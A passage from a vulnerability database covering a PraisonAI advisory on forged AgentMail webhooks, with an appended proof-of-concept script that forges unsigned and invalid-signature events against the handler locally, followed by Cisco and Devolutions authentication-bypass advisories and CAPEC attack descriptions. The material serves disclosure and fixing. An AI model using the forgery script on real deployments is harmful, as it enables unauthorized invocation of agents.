\"invalid_json_control\": {\n \"http_status\": 400,\n \"session_delta\": 0\n },\n \"non_message_event_control\": {\n \"http_status\": 200,\n \"session_delta\": 0\n },\n \"duplicate_message_control\": {\n \"http_status\": 200,\n \"session_delta\": 0\n }\n }\n}\n```\n\nRun against the latest release tag observed during testing:\n\n```fish\npython3 pov_agentmail_webhook_forgery.py --repo /path/to/PraisonAI-v4.6.62 --label v4.6.62-2a855c47\n```\n\nDecisive `v4.6.62` output:\n\n```json\n{\n \"label\": \"v4.6.62-2a855c47\",\n \"vulnerable\": true,\n \"cases\": {\n \"forged_unsigned_message\": {\n \"http_status\": 200,\n \"session_delta\": 1,\n \"send_delta\": 1\n },\n \"forged_invalid_svix_signature\": {\n \"http_status\": 200,\n \"session_delta\": 1,\n \"send_delta\": 1\n },\n \"invalid_json_control\": {\n \"http_status\": 400,\n \"session_delta\": 0\n },\n \"non_message_event_control\": {\n \"http_status\": 200,\n \"session_delta\": 0\n },\n \"duplicate_message_control\": {\n \"http_status\": 200,\n \"session_delta\": 0\n }\n }\n}\n```\n\nInterpretation: forged unsigned webhook JSON and forged webhook JSON with invalid Svix headers both return `200` and reach the agent session once. Invalid JSON returns `400` without an agent call, non-`message.received` events are ignored, and repeated `message_id` values are deduplicated. The controls prove the handler is executing the intended branch and that the issue is specifically missing webhook authenticity verification before the agent dispatch branch.\n\n## Impact\n\nIf a PraisonAI operator exposes AgentMail webhook mode, any network caller who can reach the webhook URL can spoof incoming AgentMail email events and invoke the configured PraisonAI agent as an arbitrary sender. The attacker controls the message id, sender address, subject, body text, and thread metadata consumed by the bot.\n\nThe concrete boundary crossed is unauthenticated remote agent invocation through forged AgentMail webhook events. Downstream impact depends on the deployed agent and tools. PraisonAI bot defaults can include model calls and safe auto-approved tools, so this can cause unauthorized model/API usage, forged workflow input, replies under the AgentMail inbox identity, and confidentiality or integrity impact when the configured agent has access to sensitive context or tools.\n\nThis report does not claim arbitrary code execution by default, compromise of AgentMail itself, or bypass of the default poll mode.\n\nSuggested severity: High. Suggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L` (8.6). Suggested CWEs: `CWE-347` Improper Verification of Cryptographic Signature, `CWE-306` Missing Authentication for Critical Function, and `CWE-287` Improper Authentication.\n\n## Suggested Fix\n\nFail closed for AgentMail webhook mode unless a webhook signing secret is configured. Store the AgentMail webhook secret returned by `client.webhooks.create(...)`, or require an explicit `agentmail_webhook_secret`/`AGENTMAIL_WEBHOOK_SECRET` configuration value for existing webhook endpoints.\n\nVerify the raw request body with the official Svix verifier before JSON parsing is trusted. Reject missing, malformed, stale, or invalid `svix-id`, `svix-timestamp`, and `svix-signature` headers before scheduling `_process_webhook_payload()`. Do not use `await request.json()` as the verification input; signature verification needs the exact raw body bytes.\n\nSuggested regression tests:\n\n- webhook mode without a configured signing secret refuses startup or returns `401`/`400` for `message.received`;\n- missing Svix headers do not call `_process_webhook_payload()`;\n- invalid Svix signature does not call `_process_webhook_payload()`;\n- stale timestamp does not call `_process_webhook_payload()`;\n- valid Svix signature for the raw body reaches `_process_webhook_payload()`;\n- duplicate `message_id` behavior remains intact after verification succeeds.\n\n## Affected Package/Versions\n\nAffected package: `pypi:praisonai`.\n\nLatest PyPI version observed during testing: `4.6.62`. Current head `846568c7a5d8ce9e71e56e4c213f027c04909753` is affected. Latest release tag `v4.6.62` at commit `2a855c470077c7d2e2479a575f7ef7f548d51c33` is affected.\n\nSampled tag sweep:\n\n```text\nv4.4.12 agentmail_absent\nv4.5.16 agentmail_absent\nv4.5.128 present_unsigned_webhook\nv4.6.33 present_unsigned_webhook\nv4.6.58 present_unsigned_webhook\nv4.6.59 present_unsigned_webhook\nv4.6.60 present_unsigned_webhook\nv4.6.62 present_unsigned_webhook\ncurrent present_unsigned_webhook\n```\n\nConservative suggested affected range: AgentMail webhook-bearing `praisonai` releases at least `\u003e= 4.5.128, \u003c= 4.6.62`, plus current head. The component was absent in sampled tags `v4.4.12` and `v4.5.16`. No fixed version or fix commit was observed.\n\n## Advisory History\n\nVisible PraisonAI advisories were checked for the same root cause, affected entrypoint, and exploit preconditions. No exact duplicate was found for AgentMail webhook mode accepting unsigned or invalid-Svix `message.received` events and dispatching them into `AgentMailBot._handle_message()`.\n\nNearby advisories are distinct:\n\n- `GHSA-fc26-m9pf-v56q`, \"PraisonAI LinearBot processes unsigned webhooks when LINEAR_WEBHOOK_SECRET is missing\", covers the Linear integration and a fail-open missing-secret condition. This report covers AgentMail webhook mode, a different integration, different handler, different provider signature scheme, and no visible webhook-secret validation path.\n- `GHSA-x92v-rpx6-p6cw`, \"Webhook signature verification skipped (fail-open) when secret unset, allowing forged inbound webhooks (WhatsApp \u0026 Linear bots)\", covers WhatsApp/Linear webhook verification fail-open behavior. This report covers AgentMail and Svix-backed AgentMail webhook delivery.\n- `GHSA-qvpf-j64c-jmhr`, \"PraisonAI Slack app_mention bypasses configured user/channel authorization\", covers Slack event authorization, not AgentMail webhook authenticity.\n- `GHSA-vg22-4gmj-prxw` / `CVE-2026-47391` cover unauthenticated A2A `message/send`, not AgentMail webhooks.\n- `GHSA-86qc-r5v2-v6x6` covers the call server token gap, not AgentMail webhook delivery.\n\nPublic Platform authorization advisories cover Platform RBAC/IDOR classes such as object ownership and workspace authorization. They do not cover AgentMail webhook authenticity or the AgentMail `message.received` dispatch path.\n\n## References\n\n- AgentMail webhook verification documentation: https://www.agentmail.to/docs/webhook-verification\n- AgentMail create webhook API reference: https://www.agentmail.to/docs/api-reference/webhooks/create\n- PraisonAI LinearBot webhook advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-fc26-m9pf-v56q\n- PraisonAI WhatsApp/Linear webhook fail-open advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x92v-rpx6-p6cw\n- PraisonAI Slack authorization advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qvpf-j64c-jmhr\n- MITRE CWE-347: https://cwe.mitre.org/data/definitions/347.html\n- MITRE CWE-306: https://cwe.mitre.org/data/definitions/306.html\n- MITRE CWE-287: https://cwe.mitre.org/data/definitions/287.html\n\n## Appendix A - Full PoV Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoV for PraisonAI AgentMail webhook authenticity.\n\nThe script calls the AgentMail webhook handler directly with fake aiohttp\nrequests. It does not bind a port, contact AgentMail, or send email.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport asyncio\nimport json\nimport sys\nimport types\nfrom pathlib import Path\nfrom typing import Any\n\n\nclass FakeResponse:\n def __init__(self, status: int = 200, text: str = \"\", content_type: str | None = None):\n self.status = status\n self.text = text\n self.content_type = content_type\n\n\nclass FakeRequest:\n def __init__(self, body: dict[str, Any] | None, headers: dict[str, str] | None = None, json_error: bool = False):\n self._body = body\n self.headers = headers or {}\n self._json_error = json_error\n\n async def json(self) -\u003e dict[str, Any]:\n if self._json_error:\n raise ValueError(\"invalid json\")\n return self._body or {}\n\n\nclass RecordingSession:\n def __init__(self) -\u003e None:\n self.calls: list[dict[str, Any]] = []\n\n async def chat(self, agent: object, sender_id: str, body: str, **kwargs: Any) -\u003e str:\n self.calls.append(\n {\n \"sender_id\": sender_id,\n \"body\": body,\n \"chat_id\": kwargs.get(\"chat_id\"),\n \"message_id\": kwargs.get(\"message_id\"),\n \"account\": kwargs.get(\"account\"),\n }\n )\n return \"local agent response\"\n\n\ndef install_fake_aiohttp() -\u003e None:\n web = types.SimpleNamespace(Response=FakeResponse)\n sys.modules[\"aiohttp\"] = types.SimpleNamespace(web=web)\n\n\ndef configure_import_path(repo: Path) -\u003e None:\n sys.path.insert(0, str(repo / \"src\" / \"praisonai\"))\n sys.path.insert(0, str(repo / \"src\" / \"praisonai-agents\"))\n\n\nasync def run_case(bot: Any, request: FakeRequest, sleep_ticks: int = 2) -\u003e dict[str, Any]:\n before_calls = len(bot._session.calls)\n before_sends = len(bot._sent_messages)\n response = await bot._handle_email_webhook(request)\n for _ in range(sleep_ticks):\n await asyncio.sleep(0)\n return {\n \"http_status\": response.status,\n \"session_delta\": len(bot._session.calls) - before_calls,\n \"send_delta\": len(bot._sent_messages) - before_sends,\n \"session_calls\": bot._session.calls[before_calls:],\n \"sent_messages\": bot._sent_messages[before_sends:],\n }\n\n\nasync def main_async(repo: Path, label: str) -\u003e dict[str, Any]:\n install_fake_aiohttp()\n configure_import_path(repo)\n\n from praisonai.bots.agentmail import AgentMailBot\n from praisonaiagents.bots import BotConfig\n\n bot = AgentMailBot(\n token=\"am_local_test\",\n agent=object(),\n inbox_id=\"assistant@example.test\",\n config=BotConfig(mode=\"webhook\", webhook_path=\"/webhook\"),\n )\n bot._inbox_id = \"assistant@example.test\"\n bot._email_address = \"assistant@example.test\"\n bot._config = {}\n bot._session = RecordingSession()\n bot._sent_messages = []\n\n async def fake_send_message(**kwargs: Any) -\u003e None:\n bot._sent_messages.append(kwargs)\n\n bot.send_message = fake_send_message\n\n invalid_svix_headers = {\n \"svix-id\": \"msg_bad\",\n \"svix-timestamp\": \"1\",\n \"svix-signature\": \"v1,definitely-invalid\",\n }\n\n cases: dict[str, Any] = {}\n cases[\"forged_unsigned_message\"] = await run_case(\n bot,\n FakeRequest(\n {\n \"type\": \"message.received\",\n \"data\": {\n \"message_id\": \"msg-forged-unsigned\",\n \"from\": \"attacker@example.test\",\n \"subject\": \"Forged unsigned message\",\n \"extracted_text\": \"unsigned forged body\",\n },\n }\n ),\n )\n cases[\"forged_invalid_svix_signature\"] = await run_case(\n bot,\n FakeRequest(\n {\n \"type\": \"message.received\",\n \"data\": {\n \"message_id\": \"msg-forged-invalid-svix\",\n \"from\": \"attacker@example.test\",\n \"subject\": \"Forged invalid signature\",\n \"extracted_text\": \"invalid signature forged body\",\n },\n },\n headers=invalid_svix_headers,\n ),\n )\n cases[\"invalid_json_control\"] = await run_case(bot, FakeRequest(None, json_error=True))\n cases[\"non_message_event_control\"] = await run_case(\n bot,\n FakeRequest(\n {\n \"type\": \"domain.verified\",\n \"data\": {\n \"message_id\": \"msg-non-message\",\n \"from\": \"attacker@example.test\",\n \"extracted_text\": \"should not be processed\",\n },\n }\n ),\n )\n cases[\"duplicate_message_control\"] = await run_case(\n bot,\n FakeRequest(\n {\n \"type\": \"message.received\",\n \"data\": {\n \"message_id\": \"msg-forged-invalid-svix\",\n \"from\": \"attacker@example.test\",\n \"subject\": \"Duplicate\",\n \"extracted_text\": \"duplicate should not create a second call\",\n },\n },\n headers=invalid_svix_headers,\n ),\n )\n\n vulnerable = (\n cases[\"forged_unsigned_message\"][\"http_status\"] == 200\n and cases[\"forged_unsigned_message\"][\"session_delta\"] == 1\n and cases[\"forged_invalid_svix_signature\"][\"http_status\"] == 200\n and cases[\"forged_invalid_svix_signature\"][\"session_delta\"] == 1\n and cases[\"invalid_json_control\"][\"http_status\"] == 400\n and cases[\"invalid_json_control\"][\"session_delta\"] == 0\n and cases[\"non_message_event_control\"][\"session_delta\"] == 0\n and cases[\"duplicate_message_control\"][\"session_delta\"] == 0\n )\n\n return {\n \"label\": label,\n \"repo\": str(repo),\n \"vulnerable\": vulnerable,\n \"finding\": \"AgentMail webhook handler accepts unsigned and invalid-Svix message.received events and dispatches them to the agent session\",\n \"cases\": cases,\n }\n\n\ndef main() -\u003e int:\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--repo\", type=Path, required=True)\n parser.add_argument(\"--label\", default=\"current-head\")\n args = parser.parse_args()\n result = asyncio.run(main_async(args.repo.resolve(), args.label))\n print(json.dumps(result, indent=2, sort_keys=True))\n return 0 if result[\"vulnerable\"] else 1\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n```",
"id": "GHSA-7c92-x8vg-4258",
"modified": "2026-10-07T14:07:10Z",
"published": "2026-10-07T14:07:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7c92-x8vg-4258"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61436"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62172"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/commit/2a855c470077c7d2e2479a575f7ef7f548d51c33"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/commit/846568c7a5d8ce9e71e56e4c213f027c04909753"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/praisonai-before-missing-webhook-signature-verification"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: AgentMail webhook mode accepts forged unsigned message.received events and invokes agents"
}
GHSA-7CFM-96C5-JHRR
Vulnerability from github – Published: 2022-05-13 01:35 – Updated: 2022-05-13 01:35A vulnerability in the RADIUS authentication module of Cisco Policy Suite could allow an unauthenticated, remote attacker to be authorized as a subscriber without providing a valid password; however, the attacker must provide a valid username. The vulnerability is due to incorrect RADIUS user credential validation. An attacker could exploit this vulnerability by attempting to access a Cisco Policy Suite domain configured with RADIUS authentication. An exploit could allow the attacker to be authorized as a subscriber without providing a valid password. This vulnerability affects the Cisco Policy Suite application running a release prior to 13.1.0 with Hotfix Patch 1 when RADIUS authentication is configured for a domain. Cisco Policy Suite Release 14.0.0 is also affected, as it includes vulnerable code, but RADIUS authentication is not officially supported in Cisco Policy Suite Releases 14.0.0 and later. Cisco Bug IDs: CSCvg40124.
{
"affected": [],
"aliases": [
"CVE-2018-0116"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-02-08T07:29:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the RADIUS authentication module of Cisco Policy Suite could allow an unauthenticated, remote attacker to be authorized as a subscriber without providing a valid password; however, the attacker must provide a valid username. The vulnerability is due to incorrect RADIUS user credential validation. An attacker could exploit this vulnerability by attempting to access a Cisco Policy Suite domain configured with RADIUS authentication. An exploit could allow the attacker to be authorized as a subscriber without providing a valid password. This vulnerability affects the Cisco Policy Suite application running a release prior to 13.1.0 with Hotfix Patch 1 when RADIUS authentication is configured for a domain. Cisco Policy Suite Release 14.0.0 is also affected, as it includes vulnerable code, but RADIUS authentication is not officially supported in Cisco Policy Suite Releases 14.0.0 and later. Cisco Bug IDs: CSCvg40124.",
"id": "GHSA-7cfm-96c5-jhrr",
"modified": "2022-05-13T01:35:48Z",
"published": "2022-05-13T01:35:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-0116"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180207-cps"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/102968"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7CHV-RM8V-46F6
Vulnerability from github – Published: 2024-06-17 15:30 – Updated: 2024-08-29 21:31Improper authentication in the vault password feature in Devolutions Remote Desktop Manager 2024.1.31.0 and earlier allows an attacker that has compromised an access to an RDM instance to bypass the vault master password via the offline mode feature.
{
"affected": [],
"aliases": [
"CVE-2024-6057"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-17T13:15:53Z",
"severity": "CRITICAL"
},
"details": "Improper authentication in the vault password feature in Devolutions Remote Desktop Manager 2024.1.31.0 and earlier allows an attacker that has compromised an access to an RDM instance to bypass the vault master password via the offline mode feature.",
"id": "GHSA-7chv-rm8v-46f6",
"modified": "2024-08-29T21:31:02Z",
"published": "2024-06-17T15:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6057"
},
{
"type": "WEB",
"url": "https://devolutions.net/security/advisories/DEVO-2024-0008"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Strategy: Libraries or Frameworks
Use an authentication framework or library such as the OWASP ESAPI Authentication feature.
CAPEC-114: Authentication Abuse
An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.
CAPEC-115: Authentication Bypass
An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.
CAPEC-151: Identity Spoofing
Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.
CAPEC-194: Fake the Source of Data
An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.
CAPEC-593: Session Hijacking
This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.
CAPEC-633: Token Impersonation
An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.
CAPEC-650: Upload a Web Shell to a Web Server
By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.
CAPEC-94: Adversary in the Middle (AiTM)
An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.